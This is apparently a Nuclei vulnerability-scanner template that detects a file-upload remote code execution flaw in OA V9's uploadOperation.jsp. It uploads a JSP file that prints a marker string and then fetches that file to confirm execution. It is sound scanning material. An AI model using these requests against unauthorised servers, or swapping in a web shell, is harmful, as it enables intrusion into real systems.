id: oa-v9-uploads-file

info:
  name: OA V9 RCE via File Upload
  author: pikpikcu
  severity: high
  description: A vulnerability in OA V9 uploadOperation.jsp endpoint allows remote attackers to upload arbitrary files to the server. These files can be subsequently called and are executed by the remote software.
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
  tags: rce,jsp

requests:
  - raw:
      - |
        POST /page/exportImport/uploadOperation.jsp HTTP/1.1
        Host: {{Hostname}}
        Origin: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFy3iNVBftjP6IOwo

        ------WebKitFormBoundaryFy3iNVBftjP6IOwo
        Content-Disposition: form-data; name="file"; filename="poc.jsp"
        Content-Type: application/octet-stream

        <%out.print(2be8e556fee1a876f10fa086979b8c7c);%>
        ------WebKitFormBoundaryFy3iNVBftjP6IOwo--

      - |
        GET /page/exportImport/fileTransfer/poc.jsp HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "2be8e556fee1a876f10fa086979b8c7c")'
          - 'status_code_2 == 200'
        condition: and